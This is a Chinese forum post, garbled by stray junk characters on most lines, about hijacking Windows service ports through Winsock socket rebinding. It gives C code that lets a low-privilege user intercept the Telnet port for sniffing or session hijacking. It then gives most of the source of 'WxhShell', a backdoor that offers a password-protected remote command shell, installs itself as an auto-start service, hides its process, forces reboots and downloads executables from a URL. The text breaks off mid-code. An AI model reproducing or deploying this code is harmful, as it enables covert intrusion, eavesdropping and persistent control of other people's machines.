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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [:HT=LX3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =6mnXpM.  
I_Q*uH.Y5  
  saddr.sin_family = AF_INET; ToUeXU [  
`Gl@?9,i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RH,1U3?  
p,y(Fc~]g'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R<}Yf[TQ  
|%F[.9Dp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U]!D=+  
t83n`LC  
  这意味着什么?意味着可以进行如下的攻击: 8:j8>K*6  
u S$:J:Drx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $-dz1}  
2 {lo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `+~@VZ3m  
\ 9T;-]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OzFA>FK0f;  
WJG&`PP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L< MIl[z7  
EwSE;R -  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c\.8hd=<  
:*wnO;eN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jk0Ja@8PK  
C0\A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AiXxn'&i  
\Rc7$bS2H  
  #include VP4W~;UV|\  
  #include hWGCYkuW  
  #include ,UFr??ZKm  
  #include    ^L&hwXAO:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y4PB&pZ$O2  
  int main() iJg3`1@j  
  { :Mss"L820  
  WORD wVersionRequested; Q3Sw W  
  DWORD ret; q]%c 6{w  
  WSADATA wsaData; 8$fiq}a  
  BOOL val; * i[^-  
  SOCKADDR_IN saddr; Z 8??+d=  
  SOCKADDR_IN scaddr; mlgw0   
  int err; ?]S!-6:  
  SOCKET s; pKrol]cth8  
  SOCKET sc; O!!Ne'I  
  int caddsize; *g$egipfF  
  HANDLE mt; X<4h"W6  
  DWORD tid;   gi;#?gps  
  wVersionRequested = MAKEWORD( 2, 2 ); ~eH+*U|\|M  
  err = WSAStartup( wVersionRequested, &wsaData ); neGCMKtzlJ  
  if ( err != 0 ) { %DAF2 6t  
  printf("error!WSAStartup failed!\n"); 9}`A_KzFx  
  return -1; 1uTbN  
  } sa%2,e'  
  saddr.sin_family = AF_INET; utq*<,^  
   C LhD[/Fo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UE4zmIq  
h' OLj#H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X0X!:gX  
  saddr.sin_port = htons(23); X!0s__IOc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vb{+yEa  
  { v*Qr(4  
  printf("error!socket failed!\n"); W{\){fr6O  
  return -1; ;mV,r,\dH  
  } W`fE@*k0  
  val = TRUE; CB5 ~!nKv&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4'pg>;*.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RHo|&.B;+  
  { ZbJUOa?WF  
  printf("error!setsockopt failed!\n"); N 3)OH6w"  
  return -1; pA9:1*+;;  
  } pQaP9Y{OK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i)V-q9\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PgZ~of&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1]r+$L3  
\*#9Ry^f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UOrf wK  
  { jP6;~[rl  
  ret=GetLastError(); .^^YS$%%7  
  printf("error!bind failed!\n"); ;|v6^2H"  
  return -1; ]*+ozAG4  
  } rIz"_r  
  listen(s,2); zmI?p4,  
  while(1) XfF Z;ul  
  { `, ?T;JRc  
  caddsize = sizeof(scaddr); 2U6j?MyH2  
  //接受连接请求 dq?q(_9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U$KdY _Z97  
  if(sc!=INVALID_SOCKET) M>df7.N7%P  
  { c?L_n=B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i]Or'L0c  
  if(mt==NULL) ': Gk~   
  { #`5 M( o  
  printf("Thread Creat Failed!\n"); (S+tQ2bt  
  break; >a98 H4  
  } P)~PrTa%  
  } 8o~<\eF%  
  CloseHandle(mt); 94L P )n  
  } {\G4YQ  
  closesocket(s); `Nnqdc2  
  WSACleanup(); *7hr3x  
  return 0; UA3%I8gu_  
  }   DoA4#+RU  
  DWORD WINAPI ClientThread(LPVOID lpParam) vs|>U-Mpw~  
  { @RKw1$BA  
  SOCKET ss = (SOCKET)lpParam; Dqu1!f  
  SOCKET sc; 28M! G~|  
  unsigned char buf[4096]; w/s{{X<bF  
  SOCKADDR_IN saddr; Qz;2RELz  
  long num; }et^'BkA(  
  DWORD val; 'sI=*c  
  DWORD ret; 1c S{3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [#H$@g|CT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Zs!)w9y&V  
  saddr.sin_family = AF_INET; xKz^J SF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;pdW7  
  saddr.sin_port = htons(23); emb~l{K$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2E/#fX9!4  
  { $~4ZuV%  
  printf("error!socket failed!\n"); Nko;I?Fn  
  return -1; 8}m] XO  
  } ZWW:-3  
  val = 100; Y'kD_T`f,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) + oyW_!(  
  { D .| h0gU  
  ret = GetLastError(); &;7\/m*W1  
  return -1; R,01.N( U  
  } %(b`i C9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r7sPFM  
  { Nzz" w_#  
  ret = GetLastError(); ?lCKZm.,(-  
  return -1; ( 3IM7  
  } 6l IFxc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M")v ph^  
  { @#ih;F  
  printf("error!socket connect failed!\n"); 39?iX'*p  
  closesocket(sc); T$13"?sr=  
  closesocket(ss); *""'v   
  return -1; uY5&93R  
  } FLY#   
  while(1) /kyuL]6  
  { *iS<]y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G}mJtXT#=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +r9:n(VP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p_ =^E*J]  
  num = recv(ss,buf,4096,0); ptGM'  
  if(num>0) ;7&RmIXKh'  
  send(sc,buf,num,0); ~^=QBwDW8N  
  else if(num==0) 4`)B@<  
  break; XbYW,a@w2  
  num = recv(sc,buf,4096,0); gPY2Bnw;l  
  if(num>0) D52ELr7  
  send(ss,buf,num,0); swuW6p  
  else if(num==0) OUn,URI  
  break; R@t?!`f!+  
  } UO8#8  
  closesocket(ss); Z2`(UbG}  
  closesocket(sc); % w 6fB  
  return 0 ; Ph2jj,K  
  } k2N[B(&4J  
5>4<_-Tm  
R1/ )Yy  
========================================================== <9YRSE [Ed  
*nU7v3D  
下边附上一个代码,,WXhSHELL Q u2W  
QNzI  
========================================================== =dUeQ?>t=  
Ix ! O&_6s  
#include "stdafx.h" i;`r zsRb  
em<(wJ-Y  
#include <stdio.h> ^.Vq0Qzy]  
#include <string.h> z+&mMP`-  
#include <windows.h> ?n>h/[/  
#include <winsock2.h> AM*V4}s*9k  
#include <winsvc.h> #/!a=0  
#include <urlmon.h> q( i|  
4dv+RRpGOv  
#pragma comment (lib, "Ws2_32.lib") HE. `  
#pragma comment (lib, "urlmon.lib") +j&4[;8P:  
FkR9-X<  
#define MAX_USER   100 // 最大客户端连接数 z#GZvB/z)  
#define BUF_SOCK   200 // sock buffer cD Z]r@AQ  
#define KEY_BUFF   255 // 输入 buffer vL{sk|2&  
QRhR.:M\  
#define REBOOT     0   // 重启 bNp RGhlV  
#define SHUTDOWN   1   // 关机 )nJs9}( 0  
~\<Fq\.x  
#define DEF_PORT   5000 // 监听端口 5`*S'W}\>  
K+TRt"W8&s  
#define REG_LEN     16   // 注册表键长度 dGMBgj  
#define SVC_LEN     80   // NT服务名长度 I0sd%'Ht?  
{LVii}<  
// 从dll定义API { :'#Ts<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `$SX%AZA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )FGm5-K@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y~hBVz2g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X0+$pJ60  
w0x, ~  
// wxhshell配置信息 ?V"X=B2  
struct WSCFG { DzYi> E:*  
  int ws_port;         // 监听端口 5X4; (Qj  
  char ws_passstr[REG_LEN]; // 口令 ".onev^(  
  int ws_autoins;       // 安装标记, 1=yes 0=no a,U[$c  
  char ws_regname[REG_LEN]; // 注册表键名 \$}^u5Y  
  char ws_svcname[REG_LEN]; // 服务名 |7 ]v&?y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BV"7Wp;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +DaP XZ5.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l4u_Z:<w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rePJ4i [y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {<o_6 z`$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yNi/JM  
p)RASIB  
}; \-$wY%7  
s6%%/|  
// default Wxhshell configuration ?<bByxa  
struct WSCFG wscfg={DEF_PORT, SwpS6  
    "xuhuanlingzhe", g"c\ouSY  
    1, xX*I .saK  
    "Wxhshell", $3zs?Fd`  
    "Wxhshell", DXl3  
            "WxhShell Service", <XiHQ B!  
    "Wrsky Windows CmdShell Service", e82SG8#]  
    "Please Input Your Password: ", thIuK V{CO  
  1, pca `nN!  
  "http://www.wrsky.com/wxhshell.exe", <43O,Kx'Su  
  "Wxhshell.exe" d}j%. JJK  
    }; 3#`_t :"A  
C|bnUN  
// 消息定义模块 n|sP0,$N1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zBtlkBPu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #S)+eH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IWERn v!  
char *msg_ws_ext="\n\rExit."; .(^KA{  
char *msg_ws_end="\n\rQuit."; b^_#f:_j  
char *msg_ws_boot="\n\rReboot..."; {D J!T  
char *msg_ws_poff="\n\rShutdown..."; \]dx;,T  
char *msg_ws_down="\n\rSave to "; S\b[Bq  
CtJ*:wF  
char *msg_ws_err="\n\rErr!"; F=!p7msRB  
char *msg_ws_ok="\n\rOK!"; luRtuXn[8  
0+%{1JkJq  
char ExeFile[MAX_PATH]; q">lP (t  
int nUser = 0; *UhYX)J  
HANDLE handles[MAX_USER]; uOUgU$%zqH  
int OsIsNt; UJMM&  
s.`:9nj  
SERVICE_STATUS       serviceStatus; t>"UenJt-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P|HxD0c^u  
e=&,jg?K  
// 函数声明 8Q ba4kgL  
int Install(void); `ECT8  
int Uninstall(void); ZmeSm& hQ_  
int DownloadFile(char *sURL, SOCKET wsh); j>Wb$p6S  
int Boot(int flag); rT7W_[&P  
void HideProc(void); WyciIO1  
int GetOsVer(void); IA I!a1e!  
int Wxhshell(SOCKET wsl); ~ (bY-6z  
void TalkWithClient(void *cs); S^(OjS  
int CmdShell(SOCKET sock); w#mnab@  
int StartFromService(void); $X<O\Kna  
int StartWxhshell(LPSTR lpCmdLine); l*~O;do  
?!TFoD2'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {~q"Y]?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `u6CuH5  
MIma:N_c  
// 数据结构和表定义 UtPFkase  
SERVICE_TABLE_ENTRY DispatchTable[] = nX%b@cOXj  
{ .UX`@Q:Gp  
{wscfg.ws_svcname, NTServiceMain}, ;]c@%LX  
{NULL, NULL} |2t g3m@  
}; :0N} K}  
@ =g Px  
// 自我安装 PJ}d-   
int Install(void) 8 p D$/  
{ `t[b0; 'OH  
  char svExeFile[MAX_PATH]; 0x BO5[w,Y  
  HKEY key; -#@l`kt  
  strcpy(svExeFile,ExeFile); Y\s ge  
EMy>X  
// 如果是win9x系统,修改注册表设为自启动 @'n07 5)h  
if(!OsIsNt) { h|~I'M]*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jMUd,j`Opx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q[?xf3  
  RegCloseKey(key); h [*/Tnr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `%S 35x9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -wr#.8rzTT  
  RegCloseKey(key); fghw\\]3  
  return 0; )&/ecx"2Q  
    } oP >+2.i  
  } $fifx>!  
} 7p1f*N[X  
else { kIl!n  
Gbj^oo  
// 如果是NT以上系统,安装为系统服务 vYl2_\,Y?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }fC=  
if (schSCManager!=0) RT C;Wj  
{ <c'0-=  
  SC_HANDLE schService = CreateService .cks ){\  
  ( `>ppDQaS)W  
  schSCManager, H!SFSgAu  
  wscfg.ws_svcname, -t#YL  
  wscfg.ws_svcdisp, *G rYB6MT  
  SERVICE_ALL_ACCESS, V[DiN~H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B|WM;Y^  
  SERVICE_AUTO_START, H@, h$$  
  SERVICE_ERROR_NORMAL, ^mwS6WH6  
  svExeFile, pW&K=,7|  
  NULL, qAI %6d  
  NULL, T'6MAxEZUq  
  NULL, zTBf.A;e7  
  NULL, +/+>:  
  NULL P;8nC:zL  
  ); e|-&h `[  
  if (schService!=0) 3uXRS,C  
  { Nyx)&T&I  
  CloseServiceHandle(schService); *jQ?(Tf  
  CloseServiceHandle(schSCManager); (>.l kR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z] +&kNm  
  strcat(svExeFile,wscfg.ws_svcname); X,xCR]+5S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d#8 n<NM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [&(~{#}M:  
  RegCloseKey(key); j+"w2  
  return 0; S:(YZ%#  
    } "ov270:  
  } iW%~>`tT  
  CloseServiceHandle(schSCManager); i(qZ#oN  
} X'uQr+p^  
} <aQ<Wy=\  
RCqd2$K"J+  
return 1; A3mvd-k  
} ?3 S{>+'  
)4#YS$B$@)  
// 自我卸载 )JrG`CvdU  
int Uninstall(void) q-hREO  
{ \s?8}k  
  HKEY key; jK-b#h.gL  
C'7DG\pr  
if(!OsIsNt) { r'(*#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kqkTz_r|H  
  RegDeleteValue(key,wscfg.ws_regname); Gf=3h4  
  RegCloseKey(key); b(_f{R7PY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { do.AesdXaq  
  RegDeleteValue(key,wscfg.ws_regname); C4aAPkcp2$  
  RegCloseKey(key); !8e;3W  
  return 0; -e4TqzRr  
  } 1*GL;W~ix*  
} fc&djd`FuX  
} F|a'^:Qs  
else { a[_IG-l|i4  
${)oi:K@:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5pT8 }?7  
if (schSCManager!=0) p'`?CJq8  
{ +70x0z2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h+R26lI1x  
  if (schService!=0) b4qMTRnv  
  { YP Qix  
  if(DeleteService(schService)!=0) { a]/KJn /B(  
  CloseServiceHandle(schService); 1}_4C0h\'  
  CloseServiceHandle(schSCManager); YK\pV'&+  
  return 0; j1rR3)oP  
  } q|{z9V<  
  CloseServiceHandle(schService); 4/ WKR3X  
  } /\{emE\]  
  CloseServiceHandle(schSCManager); ?9;CC]D  
} lc8g$Xw3  
} O dbXna  
ff;~k?L  
return 1; .?vHoNvo  
} jF-:e;-  
9}wI@  
// 从指定url下载文件 43 vF(<r&f  
int DownloadFile(char *sURL, SOCKET wsh) ..kFn!5(g  
{ +MZI\>  
  HRESULT hr; D;&\)  
char seps[]= "/"; G^sx/H76J  
char *token; dS8ydG2  
char *file; g< xE}[gF  
char myURL[MAX_PATH]; BRy3D\}  
char myFILE[MAX_PATH]; PJ)l{c  
ur.krsU  
strcpy(myURL,sURL); 78\j  
  token=strtok(myURL,seps); jOU99X\0  
  while(token!=NULL) ;X^#$*=Q  
  { OxPl0-]t  
    file=token; &) 64:l&  
  token=strtok(NULL,seps); &:&~[4>%a  
  } ,5V6=pr$  
%AN,cE*  
GetCurrentDirectory(MAX_PATH,myFILE); >8ryA$  
strcat(myFILE, "\\"); 'QQq0.  
strcat(myFILE, file); xG;;ykh.]  
  send(wsh,myFILE,strlen(myFILE),0); P!"{-m'  
send(wsh,"...",3,0); Q*Y-@lZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :c|Om{;  
  if(hr==S_OK) GM8Q#vc  
return 0; H| _@9V  
else ?YMBZ   
return 1; ohbU~R3{U  
EDz;6Z*4N  
} -u(,*9]cJ*  
Lk!m1J5  
// 系统电源模块 \FUMfo^  
int Boot(int flag) 6J\ 2 =c`  
{ }L(ZLt8Q  
  HANDLE hToken; \WBO(,]V  
  TOKEN_PRIVILEGES tkp; Y=4 7se=h"  
Do77V5  
  if(OsIsNt) { :tbgX;tCs5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5S8>y7knQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  H~TuQ  
    tkp.PrivilegeCount = 1; L2p?] :-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 064k;|>D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oNIYO*[  
if(flag==REBOOT) { < =~=IZ)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2WDe 34   
  return 0; zrqI^i"c  
} S]ayH$w\Q  
else { N,Z*d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =tbfBK+  
  return 0; P6Y+ u  
} .^M#BAt2  
  } R:+'"dBge  
  else { Ge/K.]>i  
if(flag==REBOOT) { D+v?zQw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8 R%<~fq r  
  return 0; %.hJDX\j  
} Xy%||\P{)  
else { {Ef.wlZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZG 0^O"B0  
  return 0; "0uM%*2  
} %L^(eTi[  
} h]h"-3  
Q 8Hl7__^  
return 1; ;py9,Wno  
} @!=Ds'MJC  
&ocuZ -5`  
// win9x进程隐藏模块 JRi:MWR<r  
void HideProc(void) Pc*lHoVL  
{ }ymW};W  
^utOVi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >t.Lc.  
  if ( hKernel != NULL ) 4~3 n =T*  
  { *~g*J^R}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); faDS!E' +  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0uIY6e0E  
    FreeLibrary(hKernel); AwXzI;F^  
  } L'r&'y[  
o S=!6h  
return; |YsR;=6wT  
} Nd]F 33|X  
g3c<c S^l  
// 获取操作系统版本  t1 YB  
int GetOsVer(void) @]%eL  
{ triU^uvh  
  OSVERSIONINFO winfo; <zR{'7L/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OA*O =  
  GetVersionEx(&winfo); cFw-JM<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SFRP ?s  
  return 1; ,\J 8(,%L  
  else <wk  
  return 0; 6`O,mpPu4G  
} ru@#s2  
PkrVQH9^w  
// 客户端句柄模块 U!o7Nw@ z  
int Wxhshell(SOCKET wsl) ;.Bz'Q  
{ ns%gb!FBJX  
  SOCKET wsh; ?/OF=C#  
  struct sockaddr_in client; ~*7$aj  
  DWORD myID; E+i*u   
z'm}p  
  while(nUser<MAX_USER) UP^8Yhdo  
{ !{r2`d09n)  
  int nSize=sizeof(client); @Suz-j(H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f]8MdYX(  
  if(wsh==INVALID_SOCKET) return 1; '";#v.!  
?).;cG:<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?)|}gr  
if(handles[nUser]==0) <4LJ #Fx  
  closesocket(wsh); z )'9[t  
else ,_u7@Ix  
  nUser++;  I8?  
  } Q__CW5&'u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {ogBoDS  
p /-du^:2  
  return 0; *rmC3'}s  
} ?4%H(k5A  
86OrJdD8  
// 关闭 socket U;#KFZ+~  
void CloseIt(SOCKET wsh) &Gjpc>d  
{ ?{qUn8f2  
closesocket(wsh); g %mCg P  
nUser--; )]j3-#  
ExitThread(0); ]0."{^ksL  
} uK@d?u!`  
EL`|>/[J  
// 客户端请求句柄 BDI@h%tJb:  
void TalkWithClient(void *cs) :oZ<[#p"*  
{ 6p4BsWPx  
2.aCo, Kb;  
  SOCKET wsh=(SOCKET)cs; xT"V9t[f  
  char pwd[SVC_LEN]; QCW4gIp  
  char cmd[KEY_BUFF]; 9>&zOITTaL  
char chr[1]; bI &<L O  
int i,j; @4*:qj?  
U`q keNd  
  while (nUser < MAX_USER) { iSCkV2  
`-uE(qp  
if(wscfg.ws_passstr) { ^wolY0p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S/XU4i:aV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aDdGhB  
  //ZeroMemory(pwd,KEY_BUFF); P:'wSE91  
      i=0; k`m7j[A]l  
  while(i<SVC_LEN) { +r3)\L{U  
oIE 1j?  
  // 设置超时 :EV.nD7  
  fd_set FdRead; $XhMI;h  
  struct timeval TimeOut; 8X,6U_>#a  
  FD_ZERO(&FdRead); }_'5Vb_  
  FD_SET(wsh,&FdRead); `[sFh%:  
  TimeOut.tv_sec=8; 5`.CzQVb  
  TimeOut.tv_usec=0; M M@,J<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q-w# !<L.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t Ly:F*1i  
^xa, r#N:V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @q'kKVJs  
  pwd=chr[0]; syR"p,3EC  
  if(chr[0]==0xd || chr[0]==0xa) { pJ] Ix *M  
  pwd=0; 0(7 IsG=t  
  break; >}V?GK36  
  } tVRN3fJH  
  i++; `3F#k[IR  
    } /Sj~lHh  
+]%S}<R  
  // 如果是非法用户,关闭 socket 8 ??-H0P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a&_ h(  
} vN{@c(=g  
n)kbQ]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bu(51wU8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U=G49 ~E  
4f\NtQ)  
while(1) { W'@ |ob  
M- ^I!C  
  ZeroMemory(cmd,KEY_BUFF); bp?5GU&Uy  
ln82pQD2Y~  
      // 自动支持客户端 telnet标准   EH |+S  
  j=0; <c}@lj-j  
  while(j<KEY_BUFF) { 3s%?)z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N[/<xW~x?4  
  cmd[j]=chr[0]; pt <zyH3Z  
  if(chr[0]==0xa || chr[0]==0xd) { E@SFK=`  
  cmd[j]=0; =K`.$R  
  break; \1<'XVS  
  } L0wT:x*  
  j++; "|8oFf)l@B  
    }  aO&U=!  
5%Qxx\q  
  // 下载文件 *2zp>(%  
  if(strstr(cmd,"http://")) { ;MS.ag#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZQfxlzj+X  
  if(DownloadFile(cmd,wsh)) @N Yl4N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OMLU ;,4  
  else ^>IP"kF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {fXkbMO|  
  } Nj>6TD81u  
  else { (TT=i  
<< >+z5D+  
    switch(cmd[0]) { aRMlE*yW  
  ~n]5iGz  
  // 帮助 _@ao$)q{J  
  case '?': { '3>;8(s l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XKjrS 9:  
    break; Ljy797{f  
  } K{P-+(  
  // 安装 ,clbD4  
  case 'i': { #kC~qux^  
    if(Install()) 4eHSAN"$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~~/,2^   
    else RAO+<m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ETHcZ  
    break; z&%i"IY  
    } m# {'9 |  
  // 卸载 TWRP|i!i  
  case 'r': { RCR= W6  
    if(Uninstall()) "h+Z[h6T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &O' W+4FAc  
    else s/"bH3Ob9v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H a!,9{T  
    break; M/<ypJ  
    } 8 1Kf X {|  
  // 显示 wxhshell 所在路径 dtR"5TL<~}  
  case 'p': { ['mpxtG  
    char svExeFile[MAX_PATH]; k)b{ UFRW  
    strcpy(svExeFile,"\n\r"); 7h 54j  
      strcat(svExeFile,ExeFile); Clum m@z;#  
        send(wsh,svExeFile,strlen(svExeFile),0); P =X]'m_B  
    break; $Z G&d  
    } xvTtA61Vp  
  // 重启 Z@Rm^g]o  
  case 'b': { IBT>&(cnV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9<Pg2#*N0  
    if(Boot(REBOOT)) ^N={4'G)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[!'JUxZ  
    else { MLdwf}[  
    closesocket(wsh); 2b$>1O&2  
    ExitThread(0); V8n { k'  
    } ,XT,t[w  
    break; ,%9XG077  
    } {>ba7-Cy+y  
  // 关机 {"wF;*U.V  
  case 'd': { ZG=]b%  
